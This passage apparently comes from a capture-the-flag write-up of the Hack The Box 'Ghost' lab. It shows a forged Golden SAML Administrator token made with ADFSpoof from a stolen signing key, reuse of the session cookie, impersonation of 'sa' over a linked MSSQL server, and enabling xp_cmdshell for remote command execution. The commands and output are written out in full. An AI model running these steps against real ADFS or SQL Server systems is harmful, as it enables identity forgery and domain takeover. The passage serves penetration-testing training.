ZnRlcj0iMjAyNi0wOS0yNFQxMzoyMzowMy41NzVaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIiAvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI2LTA5LTI0VDEzOjE4OjAzLjQxOVoiIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxNDoxODowMy40MTlaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleUBnaG9zdC5odGI8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleTwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxNzozOS4xMjJaIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D

This value is simply a base64 XML encoded SAML Assertion, decoding it we get the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_f71be7ef-7574-4b12-9b7b-5acd1d0e922f" Version="2.0" IssueInstant="2026-09-24T13:18:03.575Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_6b4d9948dcd9518067bab9b42a83c33b83ab4466">                                                               
  <Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust</Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_c849c497-c68d-47a6-9259-cc2ab5b149e2" IssueInstant="2026-09-24T13:18:03.450Z" Version="2.0">
    <Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_c849c497-c68d-47a6-9259-cc2ab5b149e2">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>LoVh6nINTjNlUwsARqkd4sPE0bGhp1uiS20RHiMzZG0=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>HDfTx/e9L9kObxcDsTCXKpUWqaJQfeTDLaKZz1kIKq3dsXtMxeCHLYd4+PLqutss9oDX6adgiiGQDL2oFMu2VUDosH3CuehYhwyzw04FWjJJkL0OaznGcllKk58NXL3uRJ54qitWB1y8KMUjxJcB1TioHUFiCAcgJih4qR8noSbm+MqDYR/qBZ/PB8qeb++xuFMCNtlzJfXcTwrKA/cAudVVCEj14drARwUQcrtlZbRvWgDvnCPb5ZULLeaiP7y6QDacJ/wwORXvfplU2JgyPyCKi8uLT4saumHb7LXNQqojEVkUC8ZWwjMZm632NyXCk6qB/9xjWciTSAs2owgPF7D3YawbY+tOy42Sdj2yVkBdNqpCQOaE3nVX1U7gmH924SPWINypJ+zlB318N7Bbq8c/ZK3jHK2yhZrtfMrwuorTWoD/hGsI2Mh3kHXn6LtPRmeKPNgr7PpHpoMOHI87G5plFHkYUDLgE/8gCtN1RVOL9cuZm4/jBTaahX+WZbcxLDFsm96uShU6DTVDLvQP2XlgC5EKmhiqa6mnCCux3ptQ6t1Q7U9tVW2gSzU0r4SZx45dXkhAomaxnW1S+eoDHQ6jw2PMgGU9A5GVREGy3+c8LK93Y5d5veXo97954Y22ku6wYVL6B0raPKBFJZK16hp2hHnm6wnDGiM0ABc3fkQ=</ds:SignatureValue>
      <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
        <ds:X509Data>
          <ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate>
        </ds:X509Data>
      </KeyInfo>
    </ds:Signature>
    <Subject>
      <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <SubjectConfirmationData InResponseTo="_6b4d9948dcd9518067bab9b42a83c33b83ab4466" NotOnOrAfter="2026-09-24T13:23:03.575Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/>
      </SubjectConfirmation>
    </Subject>
    <Conditions NotBefore="2026-09-24T13:18:03.419Z" NotOnOrAfter="2026-09-24T14:18:03.419Z">
      <AudienceRestriction>
        <Audience>https://core.ghost.htb:8443</Audience>
      </AudienceRestriction>
    </Conditions>
    <AttributeStatement>
      <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
        <AttributeValue>justin.bradley@ghost.htb</AttributeValue>
      </Attribute>
      <Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
        <AttributeValue>justin.bradley</AttributeValue>
      </Attribute>
    </AttributeStatement>
    <AuthnStatement AuthnInstant="2026-09-24T13:17:39.122Z">
      <AuthnContext>
        <AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef>
      </AuthnContext>
    </AuthnStatement>
  </Assertion>
</samlp:Response>

This SAML Assertion is used to authenticate to core.ghost.htb through credentials on the ghost.htb domain via the federation.ghost.htb issuer. We can use all this information we’ve gathered to conduct a GoldenSAML.

1
2
3
4
5
6
7
8
9
10
11
12
PS /home/w1ld/ALPHA/ghost/ADFSpoof> uv run --python 3.11 --script ./ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName --nameid 'ghost.htb/Administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
/_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                        /_/                        

A tool to for AD FS security tokens
Created by @doughsec

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfT1VUMU4zIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNi4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfU1dOVzUzIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1NXTlc1MyI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPm95ZFI5V09TUlI1WlkvbTBIRHozdFhESGxKRFQvZ3R4RGlGLzEzZGIzdG89PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmVpc25MYmpCSmxRV09mVWkzLzEvbTlUYUxibk1LUm1rZzl4YWw2YXowaHRVcTI2UzRCRzNmU2RHTXhmWGQzTEkwRVlvOTdDMGQxNU93UHE2VWgzZnNGdUxqR2t0dXoreWk1SEVibzA4Vi9UQ2tnOURSNkdHeVJSaEd0L2xLS29UcHhXN2R0SjJuUzFDcTY1a0dEMXdwRHh1OFJhNW13bGxXc1pJNnFhcXN1YmxJZE1JQTkza2pvUjFWamlVSzZiQWRtMERubXl1ZmFJcGNiYmVIT3NySThCNEV3WUJPZEU1dTBtUU83eWEwVkp4SFpVTURKdllCZktPWGluZDZmMENNa1FKZktzaThjUkwwdVdOcGxsNUZ1ZUlnZ0V3bXoyaXVHUkFwUDNaYjlVUnlFaEducFFZRUZjZkQyZ3kydnBHQ0dha1NBQWwya2FwaHlvVXZGRnd0amVDaEU0Ti90cHEzSXR5Z0NCclNkaW5QWW13RG5KZ0E1YklzUXVBOEtReXJSaDRUMmdJK0hEdkNrODE4Q0QwcU5BUzVzelVBM1RNbnI3NUF3RWx2WmZSeURTbFVRemFRUE4wWlRJMkgrdUZLWjR5TEZreVZKVmh0M2U1U1Z3RTBZN3NKbVl2ZDQ0WnozamMrTEl6ZUtxaUtBOG9ZeDZwREpWNm9CbEo0VnF2Z0VWbTN5VmIxL3A1ajFLMERvQzRITEZkRktCQmx6T1g4Y0hiSTBIeWlXQXdDM3YvL0gyemhHQjB2aEFDR09aSFc0cklNUmtBOU5mWGQ1UHQyZXdtcHVMeDdqTUZESEtMOXhzR21yQ1lUbWp6ZUVkL0FVSnFpZk5qQnk2NUtSWkkxWHlNRWxhUUY2a2VQeHdmY2tQTVlPMDE4bDl5RFZaUUZuMDRKK3pXTHBBPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OldpbmRvd3NEb21haW5RdWFsaWZpZWROYW1lIj5naG9zdC5odGIvQWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxMzozMzowNi4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgTm90T25PckFmdGVyPSIyMDI2LTA5LTI0VDE0OjI4OjA2LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkFkbWluaXN0cmF0b3JAZ2hvc3QuaHRiPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNS41MDBaIiBTZXNzaW9uSW5kZXg9Il9TV05XNTMiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B

If we now send another postResponse request using this SAMLResponse we should get an Administrator account on the core.ghost.htb service.

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 13:29:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: keep-alive
X-Powered-By: Express
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3AySBN7i0Lnesfo6jeGdSu3ZncPcP7eDja.2khmA64xus9tp4N6vLupydpl%2Bd9kfNcvRhi%2Bq9xyJfU; Path=/; HttpOnly

<p>Found. Redirecting to <a href="/">/</a></p>

We get a connect.sid cookie, if we replace our connect.sid cookie with this one and go back to the index page we’re greated by a Ghost Config Panel

mssql shell on $PRIMARY via linked database user impersonation

We find mentions of a linked database from the ghost.htb domain where we’re at to the corp.ghost.htb domain. We can enumerate the forest trust with our current domain access.

1
2
3
4
PS /home/w1ld/ALPHA/ghost/ADFSpoof> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get trusts
[!] No reachable server found for DC=corp,DC=ghost,DC=htb, try to provide one manually in --host
ghost.htb
 +-- <WITHIN_FOREST|AD>:corp.ghost.htb

So we have a parent-child trust in the ghost.htb forest. Let’s enumerate the linked databases

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
select srvname from master..sysservers;

{
    "recordsets": [
        [
            {
                "srvname": "DC01"
            },
            {
                "srvname": "PRIMARY"
            }
        ]
    ],
    "recordset": [
        {
            "srvname": "DC01"
        },
        {
            "srvname": "PRIMARY"
        }
    ],
    "output": {},
    "rowsAffected": [
        2
    ]
}

We find DC01 and PRIMARY, we already know that DC01 is in the ghost.htb domain, doing a search for the PRIMARY$ service we’re unable to find it which means it’s probably in the corp.ghost.htb domain. I’ve already attempted several MSSQL attacks on the DC01 service so let’s try to execute some queries in the PRIMARY linked database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
EXECUTE('select @@version') AT [PRIMARY]

{
    "recordsets": [
        [
            {
                "": "Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \n\tOct  8 2022 05:58:25 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2022 Datacenter 10.0  (Build 20348: ) (Hypervisor)\n"
            }
        ]
    ],
    "recordset": [
        {
            "": "Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \n\tOct  8 2022 05:58:25 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2022 Datacenter 10.0  (Build 20348: ) (Hypervisor)\n"
        }
    ],
    "output": {},
    "rowsAffected": [
        1
    ]
}

After a bit of testing we’re able to impersonate the sa user on the PRIMARY server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
EXECUTE('EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER') AT [PRIMARY]

{
    "recordsets": [
        [
            {
                "": "sa"
            }
        ]
    ],
    "recordset": [
        {
            "": "sa"
        }
    ],
    "output": {},
    "rowsAffected": [
        1
    ]
}

I’ll enable xp_cmdshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show_advanced_options'',1;reconfigure;EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell whoami') AT [PRIMARY]

{
    "recordsets": [
        [
            {
                "output": "nt service\\mssqlserver"
            },
            {
                "output": null
            }
        ]
    ],
    "recordset": [
        {
            "output": "nt service\\mssqlserver"
        },
        {
            "output": null
        }
    ],
    "output": {},
    "rowsAffected": [
        2
    ]
}

We’ve successfully gotten remote command execution as nt service/mssqlserver on PRIMARY.

NT AUTHORITY on PRIMARY via SeImpersonate

Taking a look around mssql has the SeImpersonatePrivilege enabled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PS C:\w1ld> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ===============================================================
nt service\mssqlserver S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT SERVICE\ALL SERVICES                    Well-known group S-1-5-80-0   Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
